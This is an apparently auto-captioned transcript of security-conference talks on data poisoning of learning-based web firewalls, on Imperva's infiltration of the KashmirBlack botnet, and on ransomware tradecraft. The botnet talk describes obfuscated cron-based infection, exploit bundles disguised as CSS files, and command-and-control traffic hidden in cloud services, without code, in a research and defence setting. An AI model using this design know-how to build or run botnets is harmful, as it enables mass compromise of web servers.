some something in common with messages that they probably planned to send later uh as spam so you can think of that as sort of a backdoor within the gmail spam filter the vector that they wanted to inject on the right side you see attackers that took actually this is a research not actual attack but a different approach of availability attack uh here the victim is a spam based spam filter and what the attackers try to do is they knew that the the the algorithm builds uh a dictionary of uh office spam hints and they wanted to pollute this dictionary with with a collection of probably very popular awards that are used in in many uh
legitimate emails and uh the attack was was pretty successful uh with only control of one percent of the of the data used for the training uh the researchers were able to make the model uh classify 80 of the the benign email of legitimate emails as spam and 95 of the legitimate emails as unsure uh so probably like myself you're you you see at the beginning uh you see this and you say okay so the process the problem is i give the attacker the possibility to do the labeling so i'll do the labeling and everything will be all right right wrong because in this variant of data poisoning a clean label attack the the attacker does not have any
influence about the labeling process uh here uh the attacker wants to attack an image classification uh system he wants to convince this uh um this uh model that all these fish that you see in the top images are actually dogs and the way he obtains that he takes an image of a dog and he adds an invisible noise that is somehow correlated with the image of images of the fish he adds uh these noises to the image of the dog and now uh for us the image still looks like a dog for the trusted the label labeling expert that is working on behalf of the image classification it also looks still like a dog and he labels it as a dog however
the result of this labeling is that the model now we learned that images that have this hidden structure are dogs and uh the success of this attack is more than 95 percent uh uh confidence that the model says uh that the model um has when it claims that images of fish are actually dogs so uh the threat is uh is there and it's real how to prevent it there are two approaches that are again they were used even before we called data poisoning data poisoning i can filter suspicious data for example suspicious suspicious origins ip addresses or users or suspicious clients for example in booking.com i think that you can only um you can only
provide rating if you did actually a transaction so uh it gives some level of reliability to uh to all the the actors that that give ratings uh you can also take use the fault or one tolerant data sampling uh for example limits the impact of data points that are arriving arriving from a single entity and what is exactly entity well that depends of course on the on the problem itself on the algorithm the model and and the situation um so uh these two are are pretty effective but only to to some extent um there are also other mechanisms uh mostly for detection like uh diff tracking uh tracking the difference from the previous model uh a valid model
and assume that you have data poisoning whenever you see uh too long too high distance or to use a reliable benchmark a golden dataset that you use all the time to make sure that you don't have a model that is completely uh corrupted but again these two are detection and their effectiveness is is very limited and of course you can also assume that the attacker does not know what you are exactly doing or he knows what you're doing but he doesn't know the model and uh to have the attacker does will not know exactly how to attack you and he will not attack you but we uh we hearing besides we know that security by your obscurity
very rarely proves itself as an effective mitigation technique about against any threat so not recommended not recommended so what we have so far and data poisoning is a significant threat on learning mechanism the threat is critical when using data from untrusted sources which is typical in almost every place it is effective like in cyber security uh domains like firewalls spam filters and malware detection and and rating systems like e-commerce or travel and it doesn't have a silver bullet mitigation it has a collection of mitigation techniques that together can throttle the the attacker next we go to the uh i'll explain about how this data poisoning a threat is realized or can be realized in the world of web and api uh
security so what you see here is a waf a web application firewall between applications and outsider threats aka the internet um usually waff's work using a combination of negative security model and positive security model i will focus on the on on the later one so positive security model is essentially the idea that everything is bad uh except for what we know for sure that is good so it is sort of anomaly detection in order to uh to to use that we need to base to learn a baseline profile for the web or api traffic and to block or alert on deviation but when i say that we learn we want to learn a baseline profile
the the data that we will use is actually traffic that we that we've seen through this web api and if this traffic comes from outside there you go we have all the ingredients of a data poisoning uh attack uh so it needs to be treated and uh mitigated uh so web or api traffic profile can essentially look something like what you see here the red parts here are actually um think of them of these as carriers of traffic it can be cookies or query string parameters for body parameters each one of them is actually contains belongs to a host or url or method or a combination of these which we call containers and each one of them has actually a
traffic profile the type of the value that can be for this parameter whether it can be and can come several times in the same request or only one time optional or mandatory a parameter size for numerical values parameter character set and length for for strings and stuff like that all of these are things that we will not let we will want later to enforce because they have some meaning some significance for um detection of web attacks uh so uh it makes a lot of sense to use both uh the mitigation techniques uh first a cleaning filter suspicious traffic for example suspicious events uh traffic that was uh identified as malicious by by some uh other mechanism uh maybe traffic from
suspicious ips ips that are known to to generate malicious traffic uh also maybe sometimes it makes sense to filter all the traffic during an attack regardless from of whether it came because it makes sense that the possibility of a misclassification here uh is uh is uh is and is not negligible uh or at a traffic for bots it also makes sense in some cases the next mitigation is uh threshold learning um again limiting the impact of every entity uh entities that make sense can be ip addresses user agents go locations identified clients also if you want to um to avoid learning something that came in in a burst of of traffic then you want to learn things only when we you see
them spread along several hours in a day or several days depending on your exact model and eventually once you complete the learning you can do the enforcement alert on deviations from this profile now the threshold learning here is pretty easy in batch processing however uh for doing batch processing you need to consume a significant amount of memory uh which is not always a practical and thus there is a place for and there is a need for a streaming friendly algorithm for threshold learning and uh in order to uh uh to uh to present a string friendly algorithm i will take you to a completely different problem and completely different world of a dog food tasting as a challenge
we want to know which of the two brands pedigree and teo is is good this tasty is favorable by by a dog by dogs and dog owners uh we run sort of uh of a poll and theo got 12 likes out of the 20 and pedigree got six like likes however we want to do threshold learning here so we set threshold of at least three cities and at least three breeds meaning that we accept that something is tasty only if we've seen testimonies we've seen indications from people from three cities with three breeds of dogs and here only pedigree passes and the reason for that is that you can see that for example in the red part of the table
you can see that san bernard uh owners and never said none of them said that steal is good and uh people from san francisco also never said that um teo is good but for pedigree we have a pretty uh balanced um voting spread between the different cities and the different uh breeds and one of the reasons for that is that we had you can see many um many voters that have pomeranians so many voters from new york and all the six people that are new yorkers with pomeranians the pomeranians all of them liked theo but we didn't want to to count them all as as new ones but want to count them somehow together this is exactly one
thing we wanted to achieve so how to implement that is so we think of pedigree as an object and of the tastiness as a fact a boolean fact it can be tasty or not tasty uh and uh the church of learning is uh uh focused on two attributes city and breed each of them have threshold of three and for each one of them we keep set a set of all the cities we've seen so far at the beginning we've seen no data so uh we know and nothing so everything is uh turned off for t o we have the same and we can have another factor whether the the dog food is nutritious or not
data comes in and now uh we uh feed the data into the system and we see that now the sets for uh cities and grids for a pedigree tastiness are we have a set of three and that's we passed the two tests and we're good we believe that pedigree is tasty however for teo we have only uh two cities and we have only two breeds and it didn't pass any of the tests and therefore teo is not accepted as tasty uh so looking at that um so what we did actually we learned the boolean fact that an object x has a property y uh looking at that from a memory consumption perspective the memory consumption is proportional to the
number of objects the number of properties facts the number of attributes and the thresholds however it is independent of the size of the data which is exactly what we wanted to uh to achieve how to use boolean facts for web api profile well it is pretty straightforward in the during the training then for every request we see then we extract for every fact that is interesting for us we can uh extract a flag fact x scene and then we take all these fact x scene uh flags and we'll collect them together see which thresholds are passed and then we'll get into the profile effect x allowed in case we passed all effect x passed all the
all the tests and if not we'll have fact x prohibited during the inference we have a profile and now for every new request we can extract all the fact x scene from this request and if we have a fact x sin that is also prohibited then we have a violation and this is what we wanted to achieve in the first place so we can learn boolean facts uh and we can use them very effectively in uh for the web profile and the next question is what can you do with boolean facts it seems like a pretty limited model and in in the next couple of slides i hope to convince you that this model is
is not limited at all actually that it can obtain uh quite a lot uh so let's start with what they call objects or containers we want to learn what are the hosts the methods and the question parameters and the relations to hofstrand methods so actually this part is pretty much straightforward because all the things that we want to learn actually have have a boolean nature url x at host y this is one boolean fact allowed could a cookie x at urly allowed query string x at urly with methods that allowed all of them are boolean facts and again this is pretty easy it it works very well uh no problem here however what about the parameter traffic
profile we have data types we have ranges character set regular expressions can we all also deal with with these guys uh so i i will dive into the uh area of um uh parameter type so suppose we have a parameter and we want to classify to include in the in the profile the type of this parameter now we will have uh a num num is a numeric a numeric type allowed uh flag and which will try to learn and if we will not learn it then we will have an a different flag in the profile numeric type prohibited we will also have a non-numeric type allowed and non-numeric type prohibited in the next slide i will show how
exactly these are used they are very important and we have the same for string for boolean and also for none which represent the situation where we don't have a value for this uh for this parameter uh which is also of course an important thing to learn so suppose that we want to include in the profile that the type is a string and then we learn the flag str type aloud okay but we are not learning uh the flag num type allowed because we didn't see num type or maybe we've seen num type but we didn't see it in a way that passes all the threshold the tests we also um we didn't see non-str type too much so
we we don't allow non-str's within the profile only strings now if we see x equals abc or x equals x at gmail.com then these are strings we're good if we see x equal to 23 then actually we have num type scene and it contradicts the num type prohibited and there we go violation another example this time using regular expression we want to enforce the fact that type is a mail address now the more i hope that you understand now that the more important is the prohibited part and not the learn part and uh we learned that non-male reg regeps is prohibited and the reason is that we didn't see many um indications of non-male values
uh in the traffic for this parameter and and therefore it is not allowed and therefore it is prohibited and and now whenever you see we see x gmail.com then this is okay because the non-male rejects uh scene is not there however if if we see abc then the non-male regex scene is there and it contradicts the non-male rejects prohibited and again we have a violation uh when it comes to mandatory parameters or optional parameters then missing prohibited and missing allowed are the are the flags and the facts that we are using and it is essentially the very similar to what we've seen with the with the strings um when a parameter should we want to
represent the fact that it shall have no value or that it has multiplicity then again we play with a non non non non type and multi and multi-occurrences effects when you want to talk about a character sets then a non-b64 character set a fact uh when we want to play with particular uh special characters and we say that ascii 21 uh is allowed or prohibited ascii 7e is allowed or prohibited etc and when we want to deal with ranges then here we need a little trick to do discretization of of all the uh of the of these ranges then we will not know exactly that um the parameter is between 34 and uh 345 but it will have to we will split the
the domain into ranges for example we have greater than 5 000 greater than 5 500 lower than 10 and we can play with this fact in order to represent these ranges in a way that makes sense for the web security uh uh domain and attacks uh so let me summarize data poisoning is a significant threat on learning mechanisms [Music] especially when they rely on data from outside with or without labeling and outside and it is applicable whenever the threat is there whenever you are doing something meaningful and that someone is cares about which i hope for you that this is always the case for you uh threshold based learning may provide an adequate robust learning solution
uh the boolean facts framework provides a streaming friendly implementation for a threshold-based learning of a profile and uh although the boolean facts framework at the beginning looks uh restricted in fact many features can be expressed through this framework uh thank you very much uh and now we have a time for a couple of questions all right so we are back now uh after our presentation ai in a minefield learning from poison data and as i mentioned before the presentation we have uh jonathan azaria here with us today to um help answer questions about the presentation and so i'm going to look into slack at questions and um are you ready jonathan yes then let us get rolling so um one of the
questions that uh is there is so when would i allow training data in a system why why would i allow training data into a system where i can't control that data so why would i allow others to contribute to training my data that seems really counter-intuitive if you want to have a good data set yeah so so that's true but that really depends on the kind of data and the budget you have so um if we just take a very simple example of the machine learning water that tries to classify dogs for examples or any other kind of images so what you'd have to do is that you'd have to have some people looking at a bunch of images
and you know saying this is a dog this isn't a dog and that just costs a lot of money to have so many people do that so what a lot of people will do is that they try to look online for source some sort of source of images of dogs or just you know type dog in in some search engine or do something like that and in this case they might end up using a data first of all that's data from an untrusted source and they might end up using data that isn't good you know poison data of some sort and that's the first option the second option is one we talked about in the
presentation is if you need to use some sort of a crowd source so for example if you want to get reviews from users so that's by definition an untrusted source you don't know these different users and you can try to mitigate that by saying that only verified users but they can can review or users that you verify that they purchase this product but that's still in on a verified source you know a source that you cannot completely trust okay so then in this case there may be cases where you have to rely on external sources yes um okay yeah that makes sense um and that kind of leads into another question uh so if you have to rely on these external
sources um and some of the controls that you mentioned in the presentation uh are basically limiting the inputs so limiting the number of inputs that an individual who's logged in can make or limiting the number of inputs from a source like an ip address or a location code or something like this um and so my question is how viable would it be for some sort of criminal organization to set up a distributed um data poisoning service do you think that would be a lucrative kind of service for an attacker um yeah so have you seen anything like this or is this a service that would be interesting i think for a criminal organization to work to set up
okay so that's a great question we actually mentioned something similar when we talked about spam uh so there was this case where a group of spammers did try to in [Music] to have a mass er they tried to fool google's spam detectors so they submitted a lot of spam reports that they tried to whitelist their spam so that is that is a problem and it is something attackers can do the big question is how much will that cost them so if we go back to the previous example uh of reviews okay if someone is supposed to review a certain product um so if you limit it to verified users that have purchased this product attackers can still
fool the system they can still have you know a lot of fake users buy these products and then review it but that is just going to cost them a lot of money um and if the whole thing issue here is that if you limit the impact of one user or one entity they'll have to use multiple entities and that can just cost them a lot of money if we go back to the example of api security so if the site has millions of entries or millions of users the attackers will have to somehow create more or less a similar amount of users in order to in order to influence the model so that might just
cost them a lot of money up to a point you know we're just not it's just not worth it yeah so that may be something that you keep in the back of your mind when you're designing this kind of system the what would the cost be in order for an attacker to be able to mount this sort of attack that's an interesting way to think about the problem um there is a so we are a little bit over but i'm gonna ask this question anyway um how would you approach keeping a model up to date uh to always match valid allowed intended traffic for the continuously changing app behind it because we we're living in an agile
world and things are always changing so yeah that's the question yes so um that is a good question and then [Music] usually when you do api security you have to somehow know what the app looks like so you need to have a swagger file of some source or you need the customer to manually update the different in endpoints in the api you might have your own service that does discovery but you need to somehow do that um that is i mean that that is a good point and you need to just try and add filters that somehow mitigate that so you need to look at changes over time you need to try and find let's see parameters that have shifted
so there's this point there's this the point in time between let's say having the old parameter and then have this new parameter if let's say if i were to change from example a number to a string so you will have a point in time where you won't be able to learn this difference and you need to come up with some sort of a solution it that is that is i mean it's a big question you just need to figure out how to do that one example can just be using some sort of a tolerance so you don't immediately block attacks or maybe don't block attacks if they don't completely violate so if you have a number and now you just have a number
with some alphanumeric characters you might not want to block that if you see special characters you might do but you need to come up with some sort of a solution that knows how to bridge the gap between these two holy cow so that was a that was a that question just made my head kind of explode with some ideas of what could potentially go wrong with an ai system so thank you for uh that comprehensive answer i thank uh we are out of time so we we need to take a few minutes break so thank you so much for your time today uh jonathan it's coming by and answering questions for this presentation uh folks we will be
back uh in a few minutes so uh take some time go and hit our sponsor uh slack channels they're giving away goodies so check it out and see what's there once again thank you jonathan for being here and we will see you all soon bye [Music]
[Music] so [Music] do [Music]
[Music]
[Music]
[Music] so [Music] foreign [Music]
[Music]
so [Music]
[Music] [Music]
[Music] i'm
[Music]
hello everyone and welcome back i'm from the slightly short break i guess um we had a slight mix up in the schedule so the following talk will be five minutes later than given on the home page but yeah i don't think this would be an issue um yeah jumping right into it my name is oliver i will be the moderator for the next two talks and with me here now uh sarita also from imperva and they will be holding the next talk about the operations of the cashmere cashmere blackbot net um i'm really looking forward to the talk but first of all um welcome solitanovir how are you doing today hi hi we're good that was good
perfect and do you want to give up yeah we're very glad to have you i'm glad that you um give the talk for the conference um do you want to give a short introduction before we skip to the to the real talk yeah yes sure so we hear about botnets all the time and in this session we'll give you a deep dive into one of them it's called the kashmir black partner and i will start by talking about botnets in general and describe the kashmir black and entities and then if we will present the operation and talk about the devops behind it um that's it i think we can start perfect thank you very much so everyone
have fun with the talks and see you afterwards for the qa sure hi everyone today we're going to talk about the climb ups of the cashmere black botnet but first let me introduce myself my name is sarit and i'm a security researcher at imperva for the last 10 years i mainly focus in replication security and i develop algorithms to detect and protect against attacks my colleague of fear is a security researcher for the last five years his focus is in database and web application security before diving into the bits and bytes of our research i would like to introduce you with the kashmir black botnet so it all started on november 2019 and last 11 months
which is basically a research period of time we discover a botnet that attacks popular cms platforms such as wordpress joomla magento etc in more than 30 different countries around the world it performs millions of attacks per day on average and we calculated that there were hundreds of thousands of bots out there participated in the budget operation the bots utilize dozens of non-vulnerabilities with different attack types like file upload remote code execution and many more this session is a journey into the botnet core from the attacker point of view so let's start security research investigation can sometimes be like a crime scene investigation but our crime scene is spread all over the network with nobody in place
so we need to collect the clues and fingerprints to construct a picture of the virtual crime as part of a study carried out at imperva we observed around 9 million attack attempts exploiting php unit remote code execution and we were wondering why is this cve so popular among attackers to understand this hype we started to analyze attacks from our data lake we saw different ips using the same payload over and over again attacking different customers which remind us a abutment behavior so we decided to download the payload and dive in and we basically started the mapping step we downloaded the code and perform analysis we revealed all the entities of the operation and later i will talk about
them in further detail the next step we took was infiltrate we saw that the butler is updating on a regular basis and we decided to act like a bot and gather these updates for later analysis and finally we play the victim we created a honeypot in order to understand the past exploitation stage so let's review all those entities that play a role in this massive operation when looking at the botanist entities we can split them into three groups the bonus infrastructure the botnet third party services and the botnet actors inside the butted infrastructure we have the cnc and repositories and b under the third party services we have github baseband and drawbox that the attacker use in one hand to
camouflage this operation and on the other hand to make the button more flexible under the bonnet actors we have the victim and two types of bots pending and spreading and i will describe the difference between them later in their presentation the first entity in the botnet infrastructure which is responsible for the entire operation is the command control and here we can see the login screen of the cnc the kashmir black cnc is located in indonesia and has three main roles it supplies attack instructions to bots it receives attack reports from bots and it supplies a malicious script that infects the victim server here we can see a snapshot of the infection script the attacker defines a parameter that
represents a crontab task and the task contain contains a python script and scheduled to run every three minutes it includes several imports and uses base64 encoding to obfuscate its malicious payload we can also see that the output of this task will be sent to devnet so no history will be saved in the next code block the attacker redefines the victim's ground task to include the the malicious python task that we just saw in the previous section and as part of this redefinition the attacker make sure to remove all mail notifications let's move to the repositories the original repository a as you can see is a printer component shopping site it was hacked by the attacker
and was used to store the communication script file to communicate with the cnc another type of repository entity in the botnet is repository b which is a site that was classified as an educational institute and was used by the attacker to store bundles of exploit and payloads here is an example of the exported payload bundles the attacker files are located under the css path among other css files used by this innocent web server we can see that the name of the bundle files start with the in-memory prefix and there are actually zip files hidden with the css extension and here is their modification date one of the best qualities in this botnet is that the infrastructure is just like
plug-and-play the attacker can expand his target victims by adding new payloads just by uploading them here under the css directory no infrastructure changes are required and every file represents an exploit that target a specific vulnerability here is a partial list of cves the botnet uses as part of its operation among them we can see remote code execution file upload remote code remote file include and many more and these vulnerabilities are related to different plugins widgets and themes and we can say that the conclusion here is that it's not necessary to use exotic payloads exploits sorry in order to expand the botnet moving to the cloud-based services another type of entity used by this attacker is github
it was used as a version control to store some of his files and when we checked the repository we saw between web shells and cryptominers and we can say that by using github the botnet achieves a layer of flexibility the attacker can easily update a file in this repository without interfering with the button activity another entity is spacebeam which is is a website that allows anonymous users to share plain text through public posts they call paste that i could use this space as a quick and easy way to access and download backdoors through the infection step in the botnet operation and later we will show how dropbox was used in order to upgrade a botnet
hide the operation behind legit cloud services and also to secure the cnc now let's talk about the two types of bots first the spreading bot this bot constantly communicates with the cnc to receive attack instructions those are comments from the cnc telling him who to attack and how this bot is being used to infect new machines and expand the botnet victim that was infected by the spreading bot can become one of two a spreading bot or a pending bot now let's talk about the pending bot as i said before this bot is a victim site that was infected by a spreading bot the one that appears here and as a result is under the control of
the cnc it stays in idle mode until the cc approaches and changes purpose and this is actually why we named it pending bot and i will talk about the purpose in a bit and the difference between these two is that the pending bot does not initiate communication with the cnc moving to the cashmere black botnet scope the infiltrate step the best way to learn of organization is to be part of it same for learning about a botnet operation we call it the infiltrate step once we mapped all the entities of the botnet we wanted to understand the scope of the botnet its victims their tax and the evolution and to answer those questions we had to take a more active approach to
the investigation we learned a communication protocol between the bot and the cnc and we mimicked it we infiltrated the botnet by constant communication with the cnc we went undercover and impersonated a spreading bot in the botnet and without actually attacking any targets we started to collect information about the department victims we can see in the picture an example of an of attack instruction in json format received from the cnc the first parameter the script contains the commands that will be executed by the spreading bot first it will it will run the curl command to download the export payload bundle that will be used to infect the victim and here is the name of the file to
download we can see it it's located under the css directory in repository b the one i just showed you the second parameter the payload contains a list of victim sites that will be attacked by the spreading bot and the last parameter is the host name or the ipad hosts all those all those victim sites moving to the botnet purpose in order to understand the purpose of those victims as pending bots we had to become a victim of self so we created the cms honeypot and attacked it with our spreading bot from the infiltration step then we reported back to the cnc of a successful attack and by that our honeypot became a pending bot in the
cashmere black botnet waiting for the cnc to approach we saw five types of purposes in for the botnet about the first two we already discussed those are the pending bot and the spreading bot so we'll talk about the others an exciting purpose we observed is the cryptominer that mines monero coins as part of the code analysis we did we got access to the hackers payment address and we could see its balance in real time the next purpose was discovered as a result of our cms honeypot that was converted into a clickbait bot when we tried to access the honeypot login page we were redirected to one of many clickbank sites and the last purpose is defacement
once we saw the defacement signature we discovered the nickname of the hacker behind the botnet we also discovered that he is part of the indonesian hacker crew phantom ghost searching the internet we found out even more interesting information about the crew like the facebook page and even an online shop that sells the phantom girl screw t-shirts now after we are familiar with all the entities of it will continue and show the entire operation in life thank you sarit and hi everyone so how this botnet works it all starts when a bot exploits php unit remote code execution on a victim server it causes the victim server to download the infection script from the cnc and
execute it now the infected server will approach repository a every three minutes to download the fresh communication script in this stage we can say that the victim server is part of the kashmir black botnet the newly infected bot communicates with the cnc to get attack instructions that describe who to attack and which bundle to use then the bots downloads the bundle from repository b and additional payloads from github and psp then the bot attacks the victim and on successful attack it will become part of the botnet as the last step in the process the bot reports back to the cnc now that we are familiar with operation we can move on and describe the evolution of the botnet over the
research period and the devops strategy that enable it to carry out its crimes remember that the botnet had only one repository for a and b once the botnet size increased so did the load on the repositories in addition since the repositories were actually legitimate sites they could be considered as permanent and reliable entities the attacker had to take action three changes were implemented in the botnet in infrastructure to solve this adding new entity repository a load balancer expand repository a into multiple repositories and expand repository b there were three main reasons behind these changes to make the botnet more dynamic and scalable add redundancy and load balancing the following diagram shows the old infrastructure against the new one
while in the old infrastructure every bot will address directly because repository a in the new one each bot will address the load balancer to get one of many repositories to integrate this change into the botnet operation an additional change in the botnet was required we will discuss this change later on now let's talk about internal changes that were made in order to secure the cnc and the botnet operation the cnc is the most sensitive and critical component in the entire operation securing it is critical let me take you back a little bit to the steps where we infiltrated the botnet and played a victim we created the honeypot we attacked it without spreading bot and reported back to the cnc
we believe that the attacker grew suspicious as he performed two internal changes in order to avoid interfering with the cnc the reporting address was changed and bought iptracking mechanism was added first change is related to the reporting address this change helps with managing bots versions but the report to the new address is a new part second change is within the botnet's communication script it was updated with a bot tracking mechanism a simple architecture change adds the bot's ip and country while it communicates with the cnc it allowed the cnc to track and monitor the operation of each bot in the botnet there are two goals behind this mechanism the first is to secure the botnet
and the second is to manage bots versions and upgrades now let's see how it comes to work the changes that we described created the situation where some bots were using the new infrastructure while others were only aware of the old one this diagram described the aggregate process on the left side you can see the old infrastructure when an old bot communicates with the cnc without the ip tracking header the cncn returns sends back attack instruction that will instruct the bot to uh to download the upgrade script from repository b once the bot will execute those the script it will turn into a new bot that is now aware of the new infrastructure on the right side
the upgraded bot addressed the load balancer to choose one of many repositories
now let's talk about migrating the cnc to a cloud-based service there are fundamental problems in the botnet architecture since bots communicating directly with the cnc and the repositories their ip is exposed and security controls may block them an interesting infrastructure change has evolved to solve this problem integrating dropbox into the operation instead of communicating directly with the infrastructure entities the cnc and the repositories the bots are now communicating only with dropbox now dropbox api is being used to fetch attack instructions and upload reports this is a big step towards camouflaging the botnet traffic securing the cnc operation and most importantly making it difficult to trace back to the hacker behind operation now let's discuss some key takeaways
botnet deployment is similar to application development process there are some important key features we need to consider in order to create a stable botnet that is here to stay those are stability flexibility and cicd in order to create a stable botnet we need to take into consideration load balancing and redundancy enabling scalability while growing in other words stability is the foundation that enables the partner to exist but this is not enough the separation of the exploits from the infrastructure enables maximum flexibility as the attacker can add new exploits anytime together those two key features are the basics of the ability to grow and expand on the other hand we have the clcd branch that enables the version control that
includes version control and deployment cycles we call it automation behind every massive operation we must have an automatic process to support it expansion and growth cannot exist without a solid cicd process now let's talk about the insider point of view as a security company we have data of hundreds of thousands of customers where we can see attack in the wild but this is not good enough since our data is biased by our customers here are a couple of advantages we got from the insider point of view so being inside the botnet operation gave us an advantage in the analysis as we could see the big picture and not just a small portion of the infection
we watched the botnet operation and evolution from the first role we saw new repositories exploits and payloads added in real time by by analyzing the code changes we concluded what motivated the attacker to perform such changes we had a unique foothold that enabled us to analyze the victims from the attack instructions extracting country platform domains etc the inside intelligence led us to the educated assumption that there is kind of an automated mechanism that searches for potential vulnerable targets and initiate them in in the queue in the cnc analyzing the exploit distribution explains explain which exploits are in use and the distribution of usage what is the frequency that they are being used and which are more common than others
all of this information is accessible only from the insider point of view and it is critical in order to understand the scope of the operation the motivation and challenges of the attacker now let's sum everything that we talked about in a botnet development the attacker wearing multiple heads the attacker is the developer the architect and the devops the usage of third-party services are critical part of the infrastructure in terms of camouflaging the botnet and bypass security controls and it is not necessary to use exotic exploits in order to expand so what can we do to prevent infection first make sure that you are up to date with the latest security patches and that there are no unused or
unsupported plugins installed that might increase your attack surface in terms of research first we need to map all the entities we need to learn the botnet communication protocol and last visibility is essential to understand the big picture you are probably wondering what is the current state of the kashmir black botnet so when we decided that our research has come to an end we collected ip's host names hosting services and every possible piece of information from bots repositories cnc and entities we notified the owners of the infectious server infected service and hosting services about the malicious activity and today the kashmir black botnet is dead at least as we know it we checked our data lake and we couldn't
find any traces of new infections thank you very much for listening to our talk about the kashmir black botnet feel free to contact us if you have any questions for additional information you can read the two blogs that we wrote just search for kashmir black botnet on imperva's site thank you thank you oh thank you very much for this great talk everything is super interesting very technical um information which i personally like a lot um so we do have some questions already in the slack i think more than we can answer in the time we have now but let's just get started um the first one would be looking at like the current prevalence of ransomware that's all over the media
what would you say is the current situation about botnets so what play do they wrote what role do they play at the moment um so i think that there are a lot of kinds of botnets and uh some infecting windows linux iot devices some are we see a lot of crypto miners uh botnets and botnets performing a ddos attacks or phishing campaigns so it's really all over the place and and i think that also we we saw specifically in in the data security area in our honeypot database honeypots also run some botnets that performing a ransom to steal the data so um crypto i think is the most at least from what we see but you know the
the world is is very big and a lot we we are not monitoring everything but definitely there are a lot of types by the way there are also botnets for rent we saw this as well and hackers that take over a lot of servers and just offering them to to you you can buy rent a botnet and decide what you want to do with it so really there are a lot of types and yeah so basically everything you can make money with i mean this is the case in that scene of course um i think it's also a great segue to the next question um from from henning he was asking about the economics like who is actually
hunting down botnets at the moment is it mainly academia and who pays actually for um people that try to investigate more and get and get more insights on how the botnets operate and who's behind them um [Music] if you if you have an answer i i i don't actually have an answer to who who paid for those bow ties and botnet hunters i think security researchers in some way or maybe um um maybe they're divisions that uh protect like cyber protection and some something like that they uh try to find those botnets they're the group of ips that perform some attack on uh specific industry or something or um several attack several fights yeah i think so i think that it's it's
more like how we were able to identify this botnet it was just uh you know we saw it in our data and we we started digging and i i don't know if there are probably there are people that hunting down botnets i don't know who pay for them but you know there are a lot of reasons also in the security and market it can be for i don't know if you want to write something or create an article or maybe i don't know create new startup that do stuff cool yeah and one final question would be related to your you you talked about the journey that you had like the different phases of your infiltration um
what was your emotional journey so i know it like from a pen test when you find a nice vulnerability you get very excited how was it for you when you did the infiltration and your honeypot was hit actually it was very exciting it was like most of the time you're in the darkness you don't see the entire picture of everything you don't see the entire attack and here we we were able to see from inside there like the from the hacker view from the anchor point of view we saw how it is evolving and how and new exploits were added and we were like every time we saw something new we're like what what he's doing with
that why he added it and uh so it was really great to it was like a a mouse like every time we saw something that he added and we want to see what's the purpose of it and then he added another another thing it was like um ongoing process with so new entities added all the time and how it's uh like um like of you said that he um added load balancer and all that stuff to to make the buttocks stable and being able to um process a lot of uh incoming messages from all the botanists that he added to his botnet like um yeah it was really great so it's uh it's actually we hear about botnets all the
time but being inside and see it from the other point it's um it's uh it's great yeah yeah very cool indeed that sounds like material for a movie actually maybe but there's also a link to your blog article if someone wants to read more into it um so please go on the slack channel of the talk also there are additional questions we unfortunately don't have time to answer now but it would be great if you can look at them and um yeah answer them on the channel um now i can say thanks again for this very great talk um here but wonderful having you thank you for your time and um see you on the
slack and hopefully at next year's conference so it's great stuff thank you bye thank you [Music]
[Music]
[Music]
[Music] hello welcome back um we have with us now thomas i'm actually from munich i'm so welcome and great to have you here um sajol is talking about another offensive tactic or offensive topic about the modern adversary tradecraft um so yeah thanks for having you how are you doing today i'm doing very well oliver how are you oh yeah i'm doing good as well pretty nice weather outside and but still i'm i'm enjoying the conference very much um so i would say we'll start with the talk right away um i recommend that you all go to the select channel um ask questions as they come so job will be there on the channel i guess um to
answer them in live and we will also have time for a quick and uh nice q and a sessions after the talk so let's start right into it greetings everyone welcome to my talk i hope you're all safe and doing well first of all thanks a lot to morten and jen and the rest of the lb sides crew and the b-sides munich crew for organizing this massive props to all of you right so let's get right into it modern adversary tradecraft but first a bit of an introduction who am i i'm sad thomas i'm i work at siemens i'm doing adversary simulation and offensive security over there i was previously at fireeye and i'm a first-time b-side speaker so
yay to me and a quick one-liner to describe me is that my head is red but my heart is blue which means that i'm a red teamer by profession and my mentality is that of an attacker but in the end i want the good of defense i'm a defender by heart and i really work to make the lives of defenders easier okay straight to the point headlines about ransomware that we've seen in the past few months the past few years for that matter insane timelines one hour five hours two hours absolutely incredible timelines for incident responders to even think about deterring or detecting or responding to these threats um ryok from phishing email to domain white comp
ransomware in five hours networker rdp to a box dump treads rdp into domain controller and run some every computer less than an hour so yeah this is what we're dealing with and this is what we're going to talk about in a sense not ransomware but mostly about what we can do about a threat like this an unprecedented threat and a nuisance more than anything else right so quick 20 minute adventure let's go in there now and get right into it so what this talk is about so we're here to talk about the adversary tactics techniques and procedures then we want to explore the overlap within the in the ttps between threat actors which have different
motivations so you want to see if ransomware groups the kind of ridiculous timelines that they operate and does that mean that they're extremely sophisticated or does that mean that their malware is super complex or extremely difficult to reverse engineer or what those things mean and where there's a little bit of an overlap in these techniques between between cyber espionage groups and and somewhere actors and in the end of course we'll talk about some detection and response strategies that can help the defenders out there to to deal with the threats that we face today okay so um those of you unfamiliar with the term might be wondering what tradecraft actually is it isn't all spy stuff
of course the origins of the word do come from the cold war and tradecraft at least in the intelligence community mean it refers to the the techniques and the methods that that are used in spine but today it's the term itself is used for just describing the skills and methods that are used for any for any job for that matter so for us what that means is adversary tradecraft means the the methods that our adversaries are using but you might ask who is my adversary um maybe that that completely depends but in all likelihood it's probably not russian or chinese intelligence contrary to what mainstream media would want you to believe but it most likely might be criminals and
ransomware groups so let's say for example if you're just selling vice worst at the corner shop you probably don't have to worry about russian or chinese intelligence however you do have to worry about criminals or ransomware groups trying to ransom your computers and extort your data and ask you for money but yeah who cares why why does it matter well it matters because it depends what your adversary who your adversary is and how they behave and the reason i have this picture is it's just an amazing picture this is one of the members of the ransomware crew and of course he operates out of russia based on various indictments by various governments and yeah he is one of your adversary if
ransomware groups are your adversary and one of the videos that i really like that describes this adversary is is this one
i love that video i don't know if you quite got the the audio but yeah that was a pretty good that was a pretty good drift and a burnout but yeah why does it matter it matters because well ransomware groups operate differently they're more noisy and not noisy in the context of having super fast cars but more noisy in the sense of the the kind of activity that they perform in your network once they're in the kind of techniques they use the kind of approach they have to going about their operations all of these things matter when you when you're responding to such adversaries so you need to be able to profile your adversary and say
that if this is a noisy adversary or if this is a ransomware group then the possible outcome in the in the near future like or in the next few hours uh is going to be a full um lockout of our computers anyway so the ransomware groups of course are more noisy they're more they like to just break in grab what they can get exfiltrated and then ransom the entire network and of course then come back to you with a ransom note and say that just transfer some cryptocurrency to this account and and yeah you either you comply or you don't but there's a huge gulf uh in the sophistication between uh transformer groups and state-sponsored
